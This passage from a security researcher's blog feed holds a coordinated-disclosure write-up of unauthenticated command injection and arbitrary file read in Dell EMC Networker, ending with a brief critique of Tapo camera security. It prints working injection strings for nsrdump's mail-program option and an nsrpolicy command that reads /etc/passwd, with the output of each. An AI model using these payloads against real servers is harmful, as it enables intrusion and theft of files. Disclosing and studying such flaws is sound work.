  &lt;li&gt;Initially, the device had a dedicated binary for each network service being exposed (i.e. one for ONVIF, another for web management, a cloud client, …). Now everything has been merged into one big binary named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;. I don’t understand what’s the benefit of spending so many engineering hours (we’re probably talking weeks or months) trying to merge different code bases, putting them in threads, resolving conflicts and race conditions to ship everything in a big binary that’s probably harder to debug or fix now. This is something we see with other camera vendors like Hikvision and Dahua and I never really understood it. If you know more about this let me know.&lt;/li&gt;
  &lt;li&gt;Multiple vulnerabilities have been identified in Tapo cameras since their release, including &lt;a href=&quot;https://pwner.gg/blog/2024-01-05-tp-link-tapo-c100&quot;&gt;memory corruptions&lt;/a&gt;. From version to version we see that there are efforts being made by TP-Link to limit the use of insecure functions but up to this day, none of the binary hardening techniques (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NX&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Stack Canary&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PIE/ASLR&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RELRO&lt;/code&gt;) have been activated on these binaries. Like right now the stack of that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; binary is mapped as executable. It’s such an easy win to enable all of these and would make our life much harder. Like point 1, it looks to me like a misallocation of resources.&lt;/li&gt;
  &lt;li&gt;TP-Link is constantly adding encryption layers at different locations: the firmware updates are encrypted with AES-128-CBC using a key that’s actually the random RSA-PSS salt obtained by verifying a signature using an RSA public key encoded using Microsoft CryptoAPI format. The root filesystem is encrypted using AES-128-CBF1 using a hardcoded key and IV. The configuration files are &lt;a href=&quot;https://medium.com/@two06/hacking-a-tapo-tc60-camera-e6ce7ca6cad1&quot;&gt;encrypted with hardcoded keys&lt;/a&gt;. There’s also TDP running on UDP/20002 that implements some kind of “secure transfer” where client sends its public key and the server answers with a key encrypted with the public key and sensitive content encrypted with said key; all the while accepting any public key from anyone on the same network. It looks like everyone is doing busy work over there adding layers on layers on layers of obfuscation with no added security in sight.&lt;/li&gt;
&lt;/ol&gt;

</description>
        <pubDate>Fri, 25 Jul 2025 20:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/security/2025/07/25/rooting-tapo-c200/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/security/2025/07/25/rooting-tapo-c200/</guid>
      </item>
    
      <item>
        <title>So Many Ways to Own Dell EMC Networker</title>
        <description>&lt;p&gt;In the &lt;a href=&quot;https://quentinkaiser.be/security/2021/03/11/emc-networker-oldauth-is-not-auth/&quot;&gt;previous article&lt;/a&gt; we covered the different authentication mechanisms implemented by Dell EMC Networker, pointed out the flaws in each of them (identification in oldauth, trust-on-first-use for nsrauth), and provided clear recommendations to Dell EMC Networker administrators that are close to what is said in the &lt;a href=&quot;https:// www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf&quot;&gt;EMC NetWorker Security Configuration Guide&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Today we release multiple vulnerabilities affecting Dell EMC Networker to the public. These issues can be exploited as an unauthenticated user in order to gain arbitrary file read or remote command execution. For this to work, we make the assumption that our IP address is in the allow-list and that either oldauth is enabled, or that nsrauth is enabled but the server did not receive an nsrauth request yet (TOFU).&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/backup_stacks_by_jaymis_cc_by_20.jpg&quot; alt=&quot;&amp;quot;Backup Stacks&amp;quot; by Jaymis is licensed with CC BY 2.0.&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;EMC NetWorker (formerly Legato NetWorker) is an enterprise-level data protection software product that unifies and automates backup to tape, disk-based, and flash-based storage media across physical and virtual environments for granular and disaster recovery. Cross-platform support is provided for Linux, Windows, macOS, NetWare, OpenVMS and Unix environments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These issues were reported to Dell in March 2021:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Comment&lt;/th&gt;
      &lt;th&gt;ID&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Information leak in nsrpolicy&lt;/td&gt;
      &lt;td&gt;Dell consider it to be fixed since &lt;a href=&quot;https://seclists.org/fulldisclosure/2019/Mar/50&quot;&gt;March 2019&lt;/a&gt;, but we demonstrated it still works against version 19.4.0.0.Build.25 (latest in Q1 2021).&lt;/td&gt;
      &lt;td&gt;CVE-2017-8023&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Arbitrary command injection in nsrdump&lt;/td&gt;
      &lt;td&gt;Dell consider it to be fixed since &lt;a href=&quot;https://seclists.org/fulldisclosure/2019/Mar/50&quot;&gt;March 2019&lt;/a&gt;, but we demonstrated it still works against version 19.4.0.0.Build.25 (latest in Q1 2021).&lt;/td&gt;
      &lt;td&gt;CVE-2017-8023&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Information leak in nsrarchive&lt;/td&gt;
      &lt;td&gt;Dell did not released a fix within 90 days. 0day.&lt;/td&gt;
      &lt;td&gt;CVE-2021-21570&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Arbitrary file read in nsr_render_log&lt;/td&gt;
      &lt;td&gt;Dell did not released a fix within 90 days. 0day.&lt;/td&gt;
      &lt;td&gt;CVE-2021-21569&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Dell released an advisory: &lt;a href=&quot;https://www.dell.com/support/kbdoc/fr-be/000188311/dsa-2021-124-dell-networker-security-update-for-multiple-vulnerabilities&quot;&gt;DSA-2021-124&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;coordinated-disclosure-timeline&quot;&gt;Coordinated Disclosure Timeline&lt;/h4&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Comment&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;March 12 2021&lt;/td&gt;
      &lt;td&gt;Sent report to Dell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;March 15 2021&lt;/td&gt;
      &lt;td&gt;Dell acknowledge reception of the report&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;May 7 2021&lt;/td&gt;
      &lt;td&gt;Update from Dell (working on a remediation plan)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;May 28 2021&lt;/td&gt;
      &lt;td&gt;Update from Dell (still working on a remediation plan, ask about my disclosure plans)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;May 28 2021&lt;/td&gt;
      &lt;td&gt;Answer Dell with the initialy provided 90 days disclosure policy description&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 4 2021&lt;/td&gt;
      &lt;td&gt;Update from Dell (two issues might be CVE-2017-8023, says the fix will be ready by November, ask again what my disclosure plans are)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 6 2021&lt;/td&gt;
      &lt;td&gt;Answer Dell, explaining that we plan on publishing a blog post here after the 90 days if no fix is available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 8 2021&lt;/td&gt;
      &lt;td&gt;Dell gets back to us, explaining that their product team could get a fix out by August 2021. Ask if we could wait until then.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 10 2021&lt;/td&gt;
      &lt;td&gt;Answer Dell that we are strictly adhering to our 90 days disclosure policy.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 10 2021&lt;/td&gt;
      &lt;td&gt;Dell request a copy of this post.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;June 11 2021&lt;/td&gt;
      &lt;td&gt;Update from Dell (we’re publishing the advisory, thanks for working with us)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Each vulnerability is fully described below, along with a small walkthrough of how they were identified and exploited.&lt;/p&gt;

&lt;p&gt;For the impatient, proof-of-concepts are available on Github at &lt;a href=&quot;https://github.com/qkaiser/networker-pocs&quot;&gt;https://github.com/qkaiser/networker-pocs&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;command-injection-to-rce-with-nsrdump&quot;&gt;Command Injection to RCE with nsrdump&lt;/h3&gt;

&lt;h4 id=&quot;summary&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;The ‘nsrdump’ command exposed by Dell EMC Networker Server nsrexecd service is
affected by an arbitrary command injection vulnerability. By abusing this flaw and existing
weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated
attacker could execute arbitrary commands on the remote system with the privileges
of the nsrexecd service.&lt;/p&gt;

&lt;h4 id=&quot;impact&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;An unauthenticated attacker can gain remote command execution with administrative
privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server
is installed.&lt;/p&gt;

&lt;h4 id=&quot;affected-products&quot;&gt;Affected Products&lt;/h4&gt;

&lt;p&gt;The following Dell EMC Networker products are affected:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Linux&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please note that we could not test against versions prior to 9.1.0.2 for lack of availability. The latest version we tested against is version &lt;strong&gt;19.4.0.0.Build.25&lt;/strong&gt;, which is the latest stable version per Dell EMC.&lt;/p&gt;

&lt;h4 id=&quot;description&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;From the nsrexec manual page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The  nsrexec  command  is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). We also would like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as &lt;em&gt;savefs&lt;/em&gt; or &lt;em&gt;savegrp&lt;/em&gt;.&lt;/p&gt;

&lt;h5 id=&quot;investigating-command-injections&quot;&gt;Investigating Command Injections&lt;/h5&gt;

&lt;p&gt;We initially checked if we could inject commands via the RPC command itself by injecting shell meta-characters. As we can see from the output below, the RPC command itself is properly escaped and cannot be abused for command injection.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server vagrant]# export RCMD=&quot;nsrdump;ls;&quot;
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657003 5 1 23 134215424 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump;ls; 24 25 No such file or directory
nsrdump;ls;: Command not found
[root@networker-server vagrant]# export RCMD=&quot;nsrdump\$\(ls\)&quot;
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
Invalid command
[root@networker-server vagrant]# export RCMD=&quot;nsrdump||ls&quot;
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657142 5 1 23 134215424 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump||ls 24 25 No such file or directory
nsrdump||ls: Command not found
[root@networker-server vagrant]# export RCMD=&quot;nsrdump&amp;amp;&amp;amp;ls&quot;
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657151 5 1 23 97580800 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump&amp;amp;&amp;amp;ls 24 25 No such file or directory
nsrdump&amp;amp;&amp;amp;ls: Command not found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also noted that nsrexecd implements an allow-list and a deny-list for RPC commands, meaning that a remote user can only request the execution of a limited set of binaries.&lt;/p&gt;

&lt;p&gt;A system binary like ‘ls’ is not allowed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server vagrant]# export RCMD=&quot;ls&quot;
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
Invalid command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Any command that starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nsr&lt;/code&gt; is allowed and will be looked for within these directories:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[pid  4358] access(&quot;/usr/sbin/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/usr/lib/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/lib/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/bin/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/sbin/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/usr/bin/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/usr/sbin/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/usr/bin/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/usr/sbin/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/bin/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access(&quot;/sbin/nsr/nsrlol&quot;, X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And a custom deny-list blocks execution of the following NSR binaries, which can be considered dangerous for Networker’s operations:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;nsradmin&lt;/li&gt;
  &lt;li&gt;nsrexecd&lt;/li&gt;
  &lt;li&gt;nsraddadmin&lt;/li&gt;
  &lt;li&gt;nsr_shutdown&lt;/li&gt;
  &lt;li&gt;nsrfile&lt;/li&gt;
  &lt;li&gt;recover&lt;/li&gt;
  &lt;li&gt;dp_recover&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We therefore started looking for vulnerabilities affecting the allowed binaries themselves.&lt;/p&gt;

&lt;h5 id=&quot;finding-the-right-candidate-nsrdump&quot;&gt;Finding the right candidate: nsrdump&lt;/h5&gt;

&lt;p&gt;One command that caught our eye is &lt;strong&gt;nsrdump&lt;/strong&gt;. There is no manual entry for nsrdump, but the help output is provided below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nsrdump -h
usage: nsrdump [-V | [[-efnx?] [-D debug_level] [-M mail_program] [-a skip_attr]
	[-r skip_resource] [-m email_address] [-o output_file] [-s sender_address]]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;nsrdump is a utility that dumps the Dell EMC Networker Server configuration to stdout. An interesting aspect of that utility is that the dumped information can be sent out to an email address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m email_address&lt;/code&gt;). For the email to be sent out, two other parameters must be set explicitly: the output file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-o output_file&lt;/code&gt;) and the mail program (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-M mail_program&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;One could, for example, provide sendmail as a mail program:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export RCMD=&quot;nsrdump -m root@localhost -o test -M sendmail&quot;
nsrexec -c 127.0.0.1
89477 1613727512 5 1 2 1438164800 16224 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 108 sendmail -s &quot;Report Home 1.0 networker-server1606991028192168121238&quot;
root@localhost &amp;lt; &quot;/nsr/applogs/rh/test&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And nsrdump would launch a subprocess with command line (“sh -c sendmail …”):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[pid 16224] execve(&quot;/usr/sbin/nsrdump&quot;, [&quot;/usr/sbin/nsrdump&quot;, &quot;-m&quot;, &quot;root@localhost&quot;, &quot;-o&quot;,
&quot;test&quot;, &quot;-M&quot;, &quot;sendmail&quot;], 0x7faa70014470 /* 9 vars */) = 0
[pid 16231] execve(&quot;/bin/sh&quot;, [&quot;sh&quot;, &quot;-c&quot;, &quot;sendmail -s \&quot;Report Home 1.0 net&quot;...], 
0x7ffec9638e18 /* 9 vars */) = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The nsrdump binary accepts any input for the mail program parameter, which leads to arbitrary command injection. In the examples below, we demonstrate two ways of calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server /]# export RCMD=&quot;nsrdump -m root@localhost -o test -M 'id;'&quot;
[root@networker-server /]# nsrexec -c 127.0.0.1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh: -s: command not found
89477 1613727665 5 1 2 848533312 16405 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 103 id; -s &quot;Report Home 1.0 networker-server1606991028192168121238&quot;
root@localhost &amp;lt; &quot;/nsr/applogs/rh/test&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server /]# export RCMD=&quot;nsrdump -m root@localhost -o test -M '\$\(id\)'&quot;
[root@networker-server /]# nsrexec -c 127.0.0.1
sh: uid=0(root): command not found
89477 1613727689 5 1 2 1844410176 16447 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 105 $(id) -s &quot;Report Home 1.0 networker-server1606991028192168121238&quot;
root@localhost &amp;lt; &quot;/nsr/applogs/rh/test&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is confirmed by &lt;em&gt;stracing&lt;/em&gt; the nsrexecd daemon. As we can see in the excerpt below, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; binary is launched with execve:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[pid  4018] execve(&quot;/usr/sbin/nsrdump&quot;, [&quot;/usr/sbin/nsrdump&quot;, &quot;-o&quot;, &quot;test&quot;, &quot;-M&quot;, &quot;id;&quot;,
&quot;-m&quot;, &quot;root@localhost&quot;], 0x7f91fc00ecf0 /* 10 vars */) = 0
[pid  4025] execve(&quot;/bin/sh&quot;, [&quot;sh&quot;, &quot;-c&quot;, &quot;id; -s \&quot;Report Home 1.0 networke&quot;...], 
0x7ffd3cd861d8 /* 10 vars */) = 0
[pid  4026] execve(&quot;/usr/bin/id&quot;, [&quot;id&quot;], 0x81b4f0 /* 13 vars */) = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;validating-on-aws&quot;&gt;Validating on AWS&lt;/h5&gt;

&lt;p&gt;We confirmed that this vulnerability affects version (19.4.0.0.Build.25) by launching the attack against our Networker deployment on AWS.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD=&quot;nsrdump -m root@localhost -o test -M 'id;'&quot;
[root@networker-client ~]# nsrexec -c 52.86.24.194
uid=0(root) gid=0(root) groups=0(root)
sh: -s: command not found
89477 1613665920 5 1 2 3015612224 4388 0 ip-172-31-50-5.ec2.internal nsrdump SYSTEM critical 23
error sending mail: %s. 1 0 117 id; -s &quot;Report Home 1.0 ip-172-31-50-5.ec2.internal161358023617231505&quot;
root@localhost &amp;lt; &quot;/nsr/applogs/rh/randomstuff&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;validating-on-windows&quot;&gt;Validating on Windows&lt;/h5&gt;

&lt;p&gt;Windows hosts are also affected, here we demonstrate it by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt;. First we set the command via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RCMD&lt;/code&gt;, this time using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt; separator to inject our command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export RCMD=&quot;nsrdump -m root@localhost -o testy -M 'ping -n 3 192.168.121.238 &amp;amp;'&quot;
nsrexec -c networker-win
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see from the Process Monitor screenshot below, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nsrexecd&lt;/code&gt; daemon launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nsrdump&lt;/code&gt;, which in turn launched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; with our injected command:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/nsrexecd_proc_dump.png&quot; alt=&quot;windows&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Below is the nsrdump full command line:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;C:\Program Files\EMC NetWorker\nsr\bin\nsrdump.exe&quot; -m root@localhost -o testy -M &quot;ping -n 3 192.168.121.238 &amp;amp;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here is the cmd.exe full command line:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\system32\cmd.exe /c ping -n 3 192.168.121.238 &amp;amp; -s
&quot;Report Home 1.0 networker-win1613730535fe8079263bc08dd78858&quot;
root@localhost &amp;lt; &quot;C:\Program Files\EMC NetWorker\nsr\applogs\rh\testy&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;arbitrary-file-read-to-rce-with-nsrarchive-nsrpolicy-nsr_render_log&quot;&gt;Arbitrary File Read to RCE with nsrarchive, nsrpolicy, nsr_render_log&lt;/h3&gt;

&lt;h4 id=&quot;summary-1&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;The ‘nsrpolicy’ command exposed by Dell EMC Networker Server nsrexecd service is
affected by an information leak vulnerability. By abusing this flaw and existing
weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated
attacker could read sensitive files from any host exposing the nsrexecd service.&lt;/p&gt;

&lt;p&gt;On Dell EMC Networker Server, this information leak can be turned into remote command
execution by taking advantage of Erlang runtime’s presence. Specifically, an attacker
can obtain the Erlang cookie value from a file stored on the remote system and use it
to establish an authenticated session to the remote Erlang daemon, therefore gaining
the ability to execute arbitrary commands on the remote system with elevated privileges.&lt;/p&gt;

&lt;h4 id=&quot;impact-1&quot;&gt;Impact&lt;/h4&gt;

&lt;p&gt;An unauthenticated attacker can gain remote command execution with administrative
privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server
is installed.&lt;/p&gt;

&lt;p&gt;An unauthenticated attacker can gain remote access to any file on hosts where either
Dell EMC Networker Server is installed. Some limitations apply to files that can be read,
mainly due to the content they hold (special characters triggering nsrpolicy to exit early
without leaking the full content).&lt;/p&gt;

&lt;h4 id=&quot;affected-products-1&quot;&gt;Affected Products&lt;/h4&gt;

&lt;p&gt;The following Dell EMC Networker products are affected:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Linux (remote arbitrary file read and RCE)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Windows (remote arbitrary file read and RCE)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please note that we could not test against versions prior to 9.1.0.2 for lack of availability. The latest version we tested against is version &lt;strong&gt;19.4.0.0.Build.25&lt;/strong&gt;, which is the latest stable version per Dell EMC.&lt;/p&gt;

&lt;h4 id=&quot;description-1&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;From the nsrexec manual page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The  nsrexec  command  is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). We also would like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as &lt;em&gt;savefs&lt;/em&gt; or &lt;em&gt;savegrp&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One command that caught our eye is &lt;strong&gt;nsrpolicy&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The  nsrpolicy  program  executes  NetWorker  backup  configuration  and activities. nsrpolicy performs the backup configuration through its three parameters: policy, workflow and action.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This command can take filenames as input, respectively:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nsrpolicy input-file
                 { --file_name file_name | -f file_name } [ --stop_on_error bool | -S bool ]

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given that nsrpolicy does not validate the received path and that it runs with root privileges, we can force it to read any file and print out the content on error:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD=&quot;nsrpolicy input-file -f /etc/passwd&quot;
[root@networker-client ~]# nsrexec -c 192.168.121.238 2&amp;gt;&amp;amp;1 | grep 'Command from file:'
121415:nsrpolicy: Command from file: root:x:0:0:root:/root:/bin/bash
121415:nsrpolicy: Command from file: bin:x:1:1:bin:/bin:/sbin/nologin
121415:nsrpolicy: Command from file: daemon:x:2:2:daemon:/sbin:/sbin/nologin
121415:nsrpolicy: Command from file: adm:x:3:4:adm:/var/adm:/sbin/nologin
121415:nsrpolicy: Command from file: lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
121415:nsrpolicy: Command from file: sync:x:5:0:sync:/sbin:/bin/sync
121415:nsrpolicy: Command from file: shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
121415:nsrpolicy: Command from file: halt:x:7:0:halt:/sbin:/sbin/halt
121415:nsrpolicy: Command from file: mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
